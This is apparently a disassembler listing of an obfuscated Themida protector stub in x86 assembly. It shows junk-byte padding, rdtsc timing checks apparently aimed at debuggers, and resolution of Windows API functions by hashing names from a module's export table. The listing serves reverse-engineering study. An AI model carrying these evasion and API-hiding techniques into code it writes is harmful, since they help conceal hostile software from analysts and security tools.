; ---------------------------------------------------------------------------


loc_54D464:				; CODE XREF: sub_54D43C+Bj
					; sub_54D43C+11j
		mov	cx, ds
		jmp	loc_54D474
; ---------------------------------------------------------------------------
		dd 65CBCFCFh, 54D9AE12h
; ---------------------------------------------------------------------------


loc_54D474:				; CODE XREF: sub_54D43C+2Bj
		and	cl, 4
		pusha
		mov	di, 0F8E0h
		jmp	loc_54D488
; ---------------------------------------------------------------------------
		db 3Fh,	0ACh, 0F5h
		dd 313A1FF4h
; ---------------------------------------------------------------------------


loc_54D488:				; CODE XREF: sub_54D43C+40j
		popa
		or	cl, cl
		jnz	loc_54D4AC
		sbb	bx, 4A0Fh
		mov	dword ptr [ebp+6111B71h], 1
		mov	ebx, eax
		jmp	loc_54D4DC
; ---------------------------------------------------------------------------
		xor	bx, 463h


loc_54D4AC:				; CODE XREF: sub_54D43C+4Fj
		mov	dword ptr [ebp+6111B71h], 0
		jnb	loc_54D4DC
		call	near ptr loc_54D4C3+5
		cdq
		das


loc_54D4C3:				; CODE XREF: sub_54D43C+80p
		rep add	eax, 0E961A7D5h
sub_54D43C	endp ; sp-analysis failed

		push	cs
; ---------------------------------------------------------------------------
		dw 0
		dd 28048500h, 0B651AA7h, 4082700Dh
		db 0DCh, 91h, 0E6h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_54D43C


loc_54D4DB:				; CODE XREF: sub_54D43C+B7j
		pop	ebx


loc_54D4DC:				; CODE XREF: sub_54D43C+66j
					; sub_54D43C+7Aj
		mov	[ebp+6110ED1h],	eax
		movsx	ebx, bx
		mov	[ebp+6110FD1h],	eax
		call	near ptr loc_54D4F5+3
		aaa
		cwde
		lodsb
		jl	short loc_54D4DB


loc_54D4F5:				; CODE XREF: sub_54D43C+AFp
		xor	eax, 34BFA1BCh
		nop
		xchg	cl, [esi+ebx*2]
		jp	loc_54D509
		mov	edi, 37AC2C5Eh


loc_54D509:				; CODE XREF: sub_54D43C+C2j
		add	esi, 59DCh
		jno	loc_54D517
		mov	ch, bl


loc_54D517:				; CODE XREF: sub_54D43C+D3j
		mov	eax, 415F3E64h
		sub	eax, 415F2817h
		mov	di, 0EC46h


loc_54D526:				; CODE XREF: sub_54D43C+154j
		push	dword ptr [esi]
		call	near ptr loc_54D537+2
		sahf
		mov	dl, 0BBh
		test	[eax+4Eh], al
		mov	ah, 0A7h
		cmpsb
		push	edi


loc_54D537:				; CODE XREF: sub_54D43C+ECp
		fnstenv	byte ptr [ebx+66h]
		mov	edi, 5A595A0Ah
		jb	loc_54D54E
		jb	loc_54D54E
		movzx	ebx, si


loc_54D54E:				; CODE XREF: sub_54D43C+103j
					; sub_54D43C+109j
		add	edx, 3074F47Dh
		add	edx, 3566D242h
		mov	cl, 4Ch
		sub	edx, 5BDF9B24h
		jmp	loc_54D576
; END OF FUNCTION CHUNK	FOR sub_54D43C
; ---------------------------------------------------------------------------
		db 59h
		dd 0AFFAB7FEh, 84685A7Bh, 0F21B4A1Fh
		db 9Eh,	0B7h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_54D43C


loc_54D576:				; CODE XREF: sub_54D43C+126j
		mov	[esi], edx
		pusha
		sbb	dl, 7Ah
		jnp	loc_54D584
		mov	bh, cl


loc_54D584:				; CODE XREF: sub_54D43C+140j
		popa
		sub	esi, 4
		mov	bl, 2
		sub	eax, 1
		jnz	loc_54D526
		xor	ebx, 75A1CF4Fh
		call	sub_54D5B4
; END OF FUNCTION CHUNK	FOR sub_54D43C
; ---------------------------------------------------------------------------
		db 0FEh, 0AEh, 6Dh
		dd 6EE7ADFAh, 0E3A099BDh, 0DE7A4D62h, 424068A6h

; =============== S U B	R O U T	I N E =======================================



sub_54D5B4	proc near		; CODE XREF: sub_54D43C+160p

arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 0054D66A SIZE 0000005F BYTES
; FUNCTION CHUNK AT 0054D6CF SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0054D6E5 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0054D70A SIZE 00000062 BYTES
; FUNCTION CHUNK AT 0054D775 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0054D799 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0054D7B9 SIZE 00000034 BYTES
; FUNCTION CHUNK AT 0054D7F7 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0054D81A SIZE 0000002E BYTES
; FUNCTION CHUNK AT 0054D856 SIZE 000000BF BYTES
; FUNCTION CHUNK AT 0054D91A SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0054D93D SIZE 00000049 BYTES
; FUNCTION CHUNK AT 0054D994 SIZE 00000051 BYTES
; FUNCTION CHUNK AT 0054D9EA SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0054DA1C SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0054DA35 SIZE 0000004C BYTES
; FUNCTION CHUNK AT 0054DA86 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 0054DAC2 SIZE 00000018 BYTES

		pusha
		cld
		push	edx
		mov	cx, 15A0h
		pop	esi
		popa
		pop	esi
		add	edx, 377093Dh
		add	esi, 615Ah
		movzx	eax, di
		sub	ecx, ecx


loc_54D5CF:				; CODE XREF: sub_54D628+Bj
		mov	edi, [esi+ecx]
		or	edx, 2779F1A1h
		xor	edi, 19C7C53Eh
		jnb	loc_54D5E7
		mov	bx, si


loc_54D5E7:				; CODE XREF: sub_54D5B4+2Aj
		xor	edi, 224E5B68h
		pusha
		sub	dx, 0C4BFh
		pusha


loc_54D5F4:				; CODE XREF: sub_54D5B4+6Cj
		jle	$+6
		mov	dx, si
		popa
		popa
		add	edi, 3E973948h
		push	eax
		sbb	bl, 1Fh
		pop	ebx
		mov	[esi+ecx], edi
		stc
		mov	bx, 0F422h
		sub	ecx, 3
		dec	ecx
		call	sub_54D628
		or	byte ptr [eax],	0F9h
		loop	loc_54D66A
		loopne	loc_54D5F4
		shl	dword ptr [ebp+5B8A8E19h], 1
sub_54D5B4	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_54D628	proc near		; CODE XREF: sub_54D5B4+62p
		mov	dx, 0ACCh
		pop	ebx
		cmp	ecx, 0FFFF9F5Ch
		jnz	loc_54D5CF
		pusha
		cld
		pusha
		call	sub_54D654
		mov	dword ptr [ebp+74571BB5h], 2B4A4F66h
		adc	al, 0Ch
		cli
		db	36h
		xchg	eax, edi
		push	cs
		mov	bl, bl
		dec	eax
sub_54D628	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_54D654	proc near		; CODE XREF: sub_54D628+14p

arg_2C		= dword	ptr  30h
arg_38		= dword	ptr  3Ch
arg_3C		= dword	ptr  40h

; FUNCTION CHUNK AT 0054DCDB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0054DCEC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0054DD08 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0054DD32 SIZE 000000B7 BYTES
; FUNCTION CHUNK AT 0054DE6D SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0054E020 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0054E9FD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005516DC SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00573646 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00573683 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00573F39 SIZE 00000009 BYTES

		pop	esi
		mov	di, 9ABh
		popa
		popa
		jmp	short loc_54D661
; ---------------------------------------------------------------------------
		db 15h,	2, 0
		db 0
; ---------------------------------------------------------------------------


loc_54D661:				; CODE XREF: sub_54D654+7j
		jmp	loc_54DCDB
sub_54D654	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 8501h
		db 0F9h, 2Dh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_54D5B4


loc_54D66A:				; CODE XREF: sub_54D5B4+6Aj
		adc	[esi], eax
		pusha
		add	[ebp+61105EDh],	esi
		mov	eax, 0
		stc
		mov	edx, [esp+1Ch+arg_8]
		mov	[ebp+6111E31h],	edi
		mov	[ebp+61103D5h],	eax
		mov	[ebp+6111459h],	edi
		mov	esi, 3Ch
		pusha
		movzx	esi, si
		mov	ah, 4Eh
		popa
		mov	[ebp+611305Dh],	ebx
		add	esi, [esp+1Ch+arg_4]
		mov	[ebp+6111D9Dh],	esi
		lodsw
		cld
		add	eax, [esp+1Ch+arg_4]
		cld
		nop
		push	eax
		push	edx
		jnz	loc_54D6C2
		jz	$+6


loc_54D6C2:				; CODE XREF: sub_54D5B4+102j
		rdtsc
		jmp	loc_54D6CF
; END OF FUNCTION CHUNK	FOR sub_54D5B4
; ---------------------------------------------------------------------------
		db 61h,	46h, 6
		db 46h,	0ADh, 3Bh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_54D5B4


loc_54D6CF:				; CODE XREF: sub_54D5B4+110j
		pop	edx
		pop	eax
		push	eax
		push	eax
		push	edx
		jmp	loc_54D6E5
; END OF FUNCTION CHUNK	FOR sub_54D5B4
; ---------------------------------------------------------------------------
		db 87h,	7Fh, 0F0h
		dd 0C9CD08D6h, 8BA21102h
		db 0C1h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_54D5B4


loc_54D6E5:				; CODE XREF: sub_54D5B4+120j
		rdtsc
		push	eax
		push	edx
		jg	$+6
		rdtsc
		pusha
		popa
		pop	edx
		pop	eax
		pop	edx
		pop	eax
		nop
		jmp	loc_54D70A
; END OF FUNCTION CHUNK	FOR sub_54D5B4
; ---------------------------------------------------------------------------
		db 0D8h, 8Fh, 0A5h
		dd 0DD951A37h, 7DCE7Ah
		db 0D9h, 66h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_54D5B4


loc_54D70A:				; CODE XREF: sub_54D5B4+144j
		pusha
		mov	bx, 0A458h
		add	[ebp+61100BDh],	ebx
		popa
		mov	eax, [eax+78h]
		mov	[ebp+61112D5h],	edx
		or	[ebp+6110FF1h],	edx
		add	eax, [esp+20h+arg_4]
		mov	[ebp+61125ADh],	ebx
		mov	eax, [eax+18h]
		jp	loc_54D73E
		mov	[ebp+61113BDh],	esi


loc_54D73E:				; CODE XREF: sub_54D5B4+17Ej
		add	[ebp+6111319h],	edx
		inc	eax
		jnz	loc_54D74C
		cmc


loc_54D74C:				; CODE XREF: sub_54D5B4+191j
		mov	[ebp+6113A97h],	eax
		or	[ebp+611053Dh],	esi
		pop	eax
		clc
		mov	esi, [eax+78h]
		sub	[ebp+6111379h],	edi
		add	esi, 1Ch
		pusha
		jmp	loc_54D775
; END OF FUNCTION CHUNK	FOR sub_54D5B4
; ---------------------------------------------------------------------------
		dd 0EBBE6AEFh, 6FC91037h
		db 38h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_54D5B4


loc_54D775:				; CODE XREF: sub_54D5B4+1B3j
		mov	di, bx
		popa
		add	esi, [esp+1Ch+arg_4]
		pusha
		cmc
		sub	[ebp+61128E1h],	ebx
		popa
		lea	edi, [ebp+611304Dh]
		jmp	loc_54D799
; END OF FUNCTION CHUNK	FOR sub_54D5B4
; ---------------------------------------------------------------------------
		db 1Bh,	0D5h, 1Dh
		dd 5FB824F0h
		db 0B6h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_54D5B4


loc_54D799:				; CODE XREF: sub_54D5B4+1D8j
		lodsd
		cmc
		add	eax, [esp+1Ch+arg_4]
		xor	[ebp+61125A5h],	eax
		jmp	loc_54D7B9
; END OF FUNCTION CHUNK	FOR sub_54D5B4
; ---------------------------------------------------------------------------
		dw 4088h
; ---------------------------------------------------------------------------
		and	dl, ds:7B3FE764h
		dec	edx
		pop	dword ptr [edi-7F6C3079h]
; START	OF FUNCTION CHUNK FOR sub_54D5B4


loc_54D7B9:				; CODE XREF: sub_54D5B4+1F1j
		stosd
		mov	[ebp+6110E1Dh],	ebx
		lea	edi, [ebp+61122F5h]
		or	[ebp+61117C5h],	eax
		lodsd
		mov	[ebp+61103B1h],	ecx
		add	eax, [esp+1Ch+arg_4]
		jo	loc_54D7E3
		xor	[ebp+6111DBDh],	eax


loc_54D7E3:				; CODE XREF: sub_54D5B4+223j
		nop
		push	eax
		push	edx
		push	eax
		push	edx
		jmp	loc_54D7F7
; END OF FUNCTION CHUNK	FOR sub_54D5B4
; ---------------------------------------------------------------------------
		db 0A6h, 0A5h, 68h
		dd 32B04C59h
		db 9Fh,	0B9h, 66h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_54D5B4


loc_54D7F7:				; CODE XREF: sub_54D5B4+234j
		rdtsc
		push	eax
		push	edx
		rdtsc
		pop	edx
		pop	eax
		pop	edx
		pop	eax
		rdtsc
		jmp	loc_54D81A
; END OF FUNCTION CHUNK	FOR sub_54D5B4
; ---------------------------------------------------------------------------
		test	eax, 0CE424F6Eh
		adc	eax, 242AFA98h
		push	5
		xlat	byte ptr es:[ebx]
		db	67h
		retf
; ---------------------------------------------------------------------------
		db 3Dh,	0C2h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_54D5B4


loc_54D81A:				; CODE XREF: sub_54D5B4+24Fj
		pop	edx
		pop	eax
		push	eax
		pusha
		call	near ptr loc_54D827+4
		sub	ebx, edi
		adc	ebp, esi


loc_54D827:				; CODE XREF: sub_54D5B4+26Ap
		mov	dword ptr [edx-30h], 0FCB05994h
		popa
		nop
		sub	[ebp+6112A61h],	eax
		stosd
		mov	[ebp+61107E9h],	ebx
		lea	edi, [ebp+6111DF9h]
		jmp	loc_54D856
; END OF FUNCTION CHUNK	FOR sub_54D5B4
; ---------------------------------------------------------------------------
		dd 2A834A17h, 0EAF73F13h, 0FC2ECCE5h
; ---------------------------------------------------------------------------
		pop	ebx
		inc	ebp
; START	OF FUNCTION CHUNK FOR sub_54D5B4


loc_54D856:				; CODE XREF: sub_54D5B4+28Fj
		lodsd
		cld
		add	eax, [esp+20h+arg_4]
		pusha
		mov	edx, [ebp+6110DA1h]
		popa
		stosd
		add	[ebp+6110279h],	eax
		pop	esi
		clc


loc_54D86D:				; CODE XREF: sub_54D5B4+345j
		dec	dword ptr [ebp+6113A97h]
		cmp	dword ptr [ebp+6113A97h], 0
		jnz	short loc_54D88C
		mov	dword ptr [esp+1Ch], 0
		lea	esi, [ebp+6113EFCh]
		jmp	esi
; ---------------------------------------------------------------------------


loc_54D88C:				; CODE XREF: sub_54D5B4+2C6j
		push	esi
		lodsd
		add	eax, [esp+20h+arg_4]
		xchg	eax, edi
		mov	ebx, edi
		mov	al, [ebp+61106D1h]
		test	al, al
		jz	short loc_54D8A3
		cmp	al, [edi]
		jnz	short loc_54D8EF


loc_54D8A3:				; CODE XREF: sub_54D5B4+2E9j
		push	edi
		xor	al, al


loc_54D8A6:				; CODE XREF: sub_54D5B4+2F3j
		scasb
		jnz	short loc_54D8A6
		pop	esi
		sub	edi, ebx
		push	edx
		cld
		xor	ecx, ecx
		dec	ecx
		mov	edx, ecx


loc_54D8B3:				; CODE XREF: sub_54D5B4+328j
		xor	eax, eax
		xor	ebx, ebx
		lodsb
		xor	al, cl
		mov	cl, ch
		mov	ch, dl
		mov	dl, dh
		mov	dh, 8


loc_54D8C2:				; CODE XREF: sub_54D5B4+321j
		shr	bx, 1
		rcr	ax, 1
		jnb	short loc_54D8D3
		xor	ax, 5041h
		xor	bx, 5449h


loc_54D8D3:				; CODE XREF: sub_54D5B4+314j
		dec	dh
		jnz	short loc_54D8C2
		xor	ecx, eax
		xor	edx, ebx
		dec	edi
		jnz	short loc_54D8B3
		not	edx
		not	ecx
		mov	eax, edx
		rol	eax, 10h
		mov	ax, cx
		pop	edx
		cmp	edx, eax
		jz	short loc_54D8FE


loc_54D8EF:				; CODE XREF: sub_54D5B4+2EDj
		pop	esi
		add	esi, 4
		inc	dword ptr [ebp+61103D5h]
		jmp	loc_54D86D
; ---------------------------------------------------------------------------


loc_54D8FE:				; CODE XREF: sub_54D5B4+339j
		pop	esi
		cld
		cld
		mov	eax, [ebp+61103D5h]
		stc
		shl	eax, 1
		jb	loc_54D91A
		jmp	loc_54D91A
; END OF FUNCTION CHUNK	FOR sub_54D5B4
; ---------------------------------------------------------------------------
		or	eax, 2627DB77h
; START	OF FUNCTION CHUNK FOR sub_54D5B4


loc_54D91A:				; CODE XREF: sub_54D5B4+356j
					; sub_54D5B4+35Cj
		ja	loc_54D926
		sub	[ebp+6112DD5h],	ecx


loc_54D926:				; CODE XREF: sub_54D5B4:loc_54D91Aj
		add	eax, [ebp+6111DF9h]
		jmp	loc_54D93D
; END OF FUNCTION CHUNK	FOR sub_54D5B4
; ---------------------------------------------------------------------------
		db 0D2h, 3Eh, 4Ch
		dd 87AE380Fh, 7C95337Ch
		db 0B9h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_54D5B4


loc_54D93D:				; CODE XREF: sub_54D5B4+378j
		mov	esi, 0
		cld
		xchg	eax, esi
		xor	[ebp+611284Dh],	edx
		lodsw
		pusha
		mov	[ebp+6111591h],	esi
		mov	ax, 22C1h
		popa
		shl	eax, 2
		pusha
		xor	ebx, [ebp+6111F59h]
		mov	ecx, edx
		popa
		add	eax, [ebp+611304Dh]
		or	[ebp+61129C9h],	edi
		xchg	eax, esi
		jp	loc_54D979
		cmc


loc_54D979:				; CODE XREF: sub_54D5B4+3BEj
		pusha
		mov	edx, [ebp+611277Dh]
		push	edx
		jmp	loc_54D994
; END OF FUNCTION CHUNK	FOR sub_54D5B4
; ---------------------------------------------------------------------------
		dw 0EDC5h
		dd 0B7D6D9D0h, 4BBF9962h, 0A5CF524h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_54D5B4


loc_54D994:				; CODE XREF: sub_54D5B4+3CDj
		pop	ecx
		popa
		lodsd
		or	[ebp+6110DA1h],	eax
		mov	ecx, [esp+1Ch+arg_4]
		pusha
		mov	edx, [ebp+6111B55h]
		mov	ecx, [ebp+6110C85h]
		popa
		add	eax, [esp+1Ch+arg_4]
		mov	[ebp+611009Dh],	esi
		jg	loc_54D9C0
		cmc


loc_54D9C0:				; CODE XREF: sub_54D5B4+405j
		mov	[esp+1Ch], eax
		pusha
		adc	bl, 7Ch
		mov	ch, bh
		popa
		xchg	eax, esi
		pusha
		mov	[ebp+6112ACDh],	eax
		mov	[ebp+611206Dh],	ecx
		popa
		jo	loc_54D9EA
		jmp	loc_54D9EA
; END OF FUNCTION CHUNK	FOR sub_54D5B4
; ---------------------------------------------------------------------------
		mov	eax, 95E1ACCBh
; START	OF FUNCTION CHUNK FOR sub_54D5B4


loc_54D9EA:				; CODE XREF: sub_54D5B4+426j
					; sub_54D5B4+42Cj
		lodsb
		jg	loc_54D9FC
		pusha
		movsx	edi, cx
		mov	ecx, [ebp+6110E75h]
		popa


loc_54D9FC:				; CODE XREF: sub_54D5B4+437j
		or	[ebp+611245Dh],	esi
		xor	cl, cl
		jmp	loc_54DA1C
; END OF FUNCTION CHUNK	FOR sub_54D5B4
; ---------------------------------------------------------------------------
		db 0DBh, 0DCh, 22h
		dd 54A250D9h, 5609131Ch, 0E1CC190h, 312B801h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_54D5B4


loc_54DA1C:				; CODE XREF: sub_54D5B4+450j
		inc	cl
		jmp	loc_54DA35
; END OF FUNCTION CHUNK	FOR sub_54D5B4
; ---------------------------------------------------------------------------
		db 81h
		dd 7C516DCFh, 83CCC8D5h, 0DB524884h, 6A8ABB0h
		db 0C0h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_54D5B4


loc_54DA35:				; CODE XREF: sub_54D5B4+46Aj
					; sub_54D5B4+4C2j
		rcl	al, 1
		jnb	loc_54DAC2
		sub	[ebp+61126FDh],	edi
		cld
		rcl	al, 1
		jnb	loc_54DAC2
		sub	[ebp+611322Dh],	edi
		rcl	al, 1
		jb	loc_54DAC2
		mov	[ebp+611047Dh],	eax
		rcl	al, 1
		jb	loc_54DAC2
		jnz	loc_54DA74
		xor	[ebp+6111399h],	esi


loc_54DA74:				; CODE XREF: sub_54D5B4+4B4j
		dec	cl
		jns	loc_54DA35
		jmp	loc_54DA86
; END OF FUNCTION CHUNK	FOR sub_54D5B4
; ---------------------------------------------------------------------------
		db 0E7h, 6Bh, 18h
		db 4Eh,	7Ch
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_54D5B4


loc_54DA86:				; CODE XREF: sub_54D5B4+4C8j
		add	esp, 20h
		sub	[ebp+6112C11h],	edx
		mov	dword ptr [esp-4], 0
		jb	loc_54DAA3
		mov	[ebp+6110B85h],	edx


loc_54DAA3:				; CODE XREF: sub_54D5B4+4E3j
		mov	eax, 1
		clc
		lea	ecx, [ebp+6117197h]
		cld
		jmp	ecx
; END OF FUNCTION CHUNK	FOR sub_54D5B4
; ---------------------------------------------------------------------------
		pusha
		push	edx
		mov	[ebp+6111269h],	edx
		pop	ecx
		mov	eax, [ebp+611278Dh]
		popa
; START	OF FUNCTION CHUNK FOR sub_54D5B4


loc_54DAC2:				; CODE XREF: sub_54D5B4+483j
					; sub_54D5B4+492j ...
		mov	byte ptr [ebp+61106D1h], 0
		pusha
		movsx	eax, di
		mov	[ebp+6111375h],	edx
		popa
		popa
		jmp	nullsub_1
; END OF FUNCTION CHUNK	FOR sub_54D5B4
; ---------------------------------------------------------------------------
		dw 7D3Ah
		dd 4D860154h
		db 0D6h, 83h
; [00000003 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		clc
		push	eax
		jmp	loc_54DAF2
; ---------------------------------------------------------------------------
		dd 2FDF8948h
		db 99h,	0C2h
; ---------------------------------------------------------------------------


loc_54DAF2:				; CODE XREF: Themida_:0054DAE7j
		mov	[esp], esi
		mov	[ebp+6112369h],	edx
		mov	[ebp+61140E6h],	esi
		jnz	loc_54DB0D
		mov	[ebp+61106E5h],	edx


loc_54DB0D:				; CODE XREF: Themida_:0054DB01j
		clc
		mov	[ebp+61140FEh],	ecx
		jmp	loc_54DB2B
; ---------------------------------------------------------------------------
		db 9Fh,	4Ah, 9Bh
		dd 5B204320h, 8499279h,	0CE06FEC6h
		db 11h,	36h, 7Ch
; ---------------------------------------------------------------------------


loc_54DB2B:				; CODE XREF: Themida_:0054DB14j
		mov	[ebp+6110EC1h],	ebx
		lea	esi, [ebp+6113FB9h]
		cmc
		add	[ebp+6110239h],	edx
		lea	eax, byte_5B8EA1[ebp]
		jle	loc_54DB50
		mov	[ebp+6112DE1h],	edx


loc_54DB50:				; CODE XREF: Themida_:0054DB44j
		call	eax
		mov	[ebp+6113035h],	eax
		pop	esi
		pusha
		sbb	dl, 0CCh
		mov	edi, [ebp+6110269h]
		popa
		retn
; ---------------------------------------------------------------------------
		jnb	loc_54DB7F
		jmp	loc_54DB7F
; ---------------------------------------------------------------------------
		dd 7A90691Eh, 78A3A503h, 0E4E02CFDh
		db 0F2h, 61h, 91h
; ---------------------------------------------------------------------------


loc_54DB7F:				; CODE XREF: Themida_:0054DB65j
					; Themida_:0054DB6Bj
		mov	esi, [ebp+61140E6h]
		jmp	loc_54DB93
; ---------------------------------------------------------------------------
		dw 5F7Ah
; ---------------------------------------------------------------------------
		sbb	[edx], dl
		mov	ds:2EBAFC7Fh, eax


loc_54DB93:				; CODE XREF: Themida_:0054DB85j
		mov	ecx, [ebp+61140FEh]
		js	loc_54DBAB
		jp	loc_54DBAB
		xor	[ebp+6111BCDh],	eax


loc_54DBAB:				; CODE XREF: Themida_:0054DB99j
					; Themida_:0054DB9Fj
		sub	eax, eax
		add	[ebp+61125B9h],	ecx
		mov	ebx, ecx
		mov	[ebp+6112ACDh],	eax
		jmp	loc_54DC72
; ---------------------------------------------------------------------------
		mov	[ebp+61127D5h],	esi


loc_54DBC6:				; CODE XREF: Themida_:0054DC74j
		xor	ah, [esi]
		jg	loc_54DBCF
		stc


loc_54DBCF:				; CODE XREF: Themida_:0054DBC8j
		mov	dl, 2
		mov	[ebp+6111769h],	esi
		jmp	loc_54DC3D
; ---------------------------------------------------------------------------
		mov	[ebp+61109E1h],	eax


loc_54DBE2:				; CODE XREF: Themida_:0054DC3Fj
		xor	al, dl
		jnz	loc_54DBF6
		jnb	loc_54DBF6
		mov	[ebp+6111D81h],	edx


loc_54DBF6:				; CODE XREF: Themida_:0054DBE4j
					; Themida_:0054DBEAj
		add	eax, 8A751D7Ah
		jg	loc_54DC08
		ja	loc_54DC08
		cld


loc_54DC08:				; CODE XREF: Themida_:0054DBFBj
					; Themida_:0054DC01j
		mov	cl, ah
		sub	[ebp+611223Dh],	ebx
		ror	eax, cl
		jmp	loc_54DC2A
; ---------------------------------------------------------------------------
		db 3Ah
		dd 0F58FA84Ah, 0E02B0655h, 52843DEDh, 0CE2F7EDFh
; ---------------------------------------------------------------------------
		fsub	st, st(5)


loc_54DC2A:				; CODE XREF: Themida_:0054DC12j
		xor	eax, 98D10842h
		mov	[ebp+6111D1Dh],	esi
		dec	dl
		or	[ebp+6112DBDh],	ebx


loc_54DC3D:				; CODE XREF: Themida_:0054DBD7j
		or	dl, dl
		jnz	loc_54DBE2
		add	[ebp+6110A55h],	esi
		dec	ebx
		jnb	loc_54DC6A
		jmp	loc_54DC6A
; ---------------------------------------------------------------------------
		db 0DFh
		dd 0C51A07FAh, 29079FA0h, 85F945A7h, 0B3B601E4h
		db 5, 95h
; ---------------------------------------------------------------------------


loc_54DC6A:				; CODE XREF: Themida_:0054DC4Cj
					; Themida_:0054DC52j
		xor	[ebp+6111285h],	ecx
		inc	esi
		stc


loc_54DC72:				; CODE XREF: Themida_:0054DBBBj
		or	ebx, ebx
		jnz	loc_54DBC6
		jmp	locret_54DC90
; ---------------------------------------------------------------------------
		icebp
		inc	ebx
		retn
; ---------------------------------------------------------------------------
		dw 474Ah
		dd 24867633h, 1493A346h, 85619E54h
; ---------------------------------------------------------------------------

locret_54DC90:				; CODE XREF: Themida_:0054DC7Aj
		iret
; ---------------------------------------------------------------------------
		pusha
		jmp	loc_54DCA8
; ---------------------------------------------------------------------------
		db 74h
		dd 86703185h, 0CB2ACB0Eh, 0D1D015B6h, 5F77219Bh
; ---------------------------------------------------------------------------


loc_54DCA8:				; CODE XREF: Themida_:0054DC92j
		movsx	ebx, ax
		popa
; ---------------------------------------------------------------------------
		dd 0B5290000h, 6111B8Dh, 9E90000h, 0BA000000h, 12EE6416h
		dd 4B5C0429h, 0F50000h,	8F0F6000h, 5, 17D68166h, 5FC5BF1Bh
; ---------------------------------------------------------------------------
		stosb
		dec	esp
		popa
; START	OF FUNCTION CHUNK FOR sub_54D654


loc_54DCDB:				; CODE XREF: sub_54D654:loc_54D661j
		lea	eax, [ebp+6113AA6h]
		jmp	loc_54DCEC
; END OF FUNCTION CHUNK	FOR sub_54D654
; ---------------------------------------------------------------------------
		dw 6632h
		dd 7DC5692Dh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_54D654


loc_54DCEC:				; CODE XREF: sub_54D654+68Dj
		mov	[ebp+6112271h],	eax
		jmp	loc_54DD08
; END OF FUNCTION CHUNK	FOR sub_54D654
; ---------------------------------------------------------------------------
		db 0DFh
		dd 0E2FD9E38h, 0F6031D66h, 0AF9FB8E4h, 61D95596h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_54D654


loc_54DD08:				; CODE XREF: sub_54D654+69Ej
		lea	eax, [ebp+6113F20h]
		pusha
		and	eax, 5BC37FF9h
		popa
		mov	[ebp+6113435h],	eax
		jmp	short loc_54DD32
; END OF FUNCTION CHUNK	FOR sub_54D654
; ---------------------------------------------------------------------------
		align 10h
		dd 3 dup(0)
		dd 8B0000h
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_54D654


loc_54DD32:				; CODE XREF: sub_54D654+6C8j
		lea	eax, [ebp+6114223h]
		mov	[ebp+61126A1h],	eax
		cmp	dword ptr [ebp+6114164h], 0
		jz	loc_54DE6D
		mov	byte ptr [ebp+61106D1h], 56h
		push	0E784CE13h
		xor	[esp-40h+arg_3C], 339BA32Ah
		push	dword ptr [ebp+6110ED1h]
		lea	eax, [ebp+6113AA6h]
		call	eax
		mov	[ebp+6114158h],	eax
		mov	byte ptr [ebp+61106D1h], 56h
		call	near ptr loc_54DD7F+3
		push	edx


loc_54DD7F:				; CODE XREF: sub_54D654+725p
		mov	eax, 8B509CA8h
		inc	esp
		and	al, 4
		mov	eax, [eax]
		mov	[esp-38h+arg_38], eax
		pop	eax
		push	dword ptr [ebp+6110ED1h]
		lea	eax, [ebp+6113AA6h]
		call	eax
		mov	[ebp+611415Ch],	eax
		push	4
		push	57C1589Ah
		xor	[esp-30h+arg_2C], 57C1489Ah
		mov	eax, [ebp+6114168h]
		add	eax, 1F4h
		shl	eax, 2
		nop
		push	eax
		nop
		push	0
		call	dword ptr [ebp+611415Ch]
		mov	[ebp+6114160h],	eax
		mov	ebx, eax
		mov	eax, 0FFFFFFFFh
		call	dword ptr [ebp+61126A1h]
		mov	eax, ebx
		call	dword ptr [ebp+61126A1h]
		jmp	loc_54DE6D
; END OF FUNCTION CHUNK	FOR sub_54D654
; ---------------------------------------------------------------------------
		cmp	dword ptr [ebp+6114164h], 0
		jnz	loc_54DDF7
		retn
; ---------------------------------------------------------------------------


loc_54DDF7:				; CODE XREF: Themida_:0054DDF0j
		push	edi
		mov	edi, [ebp+6114160h]
		stosd
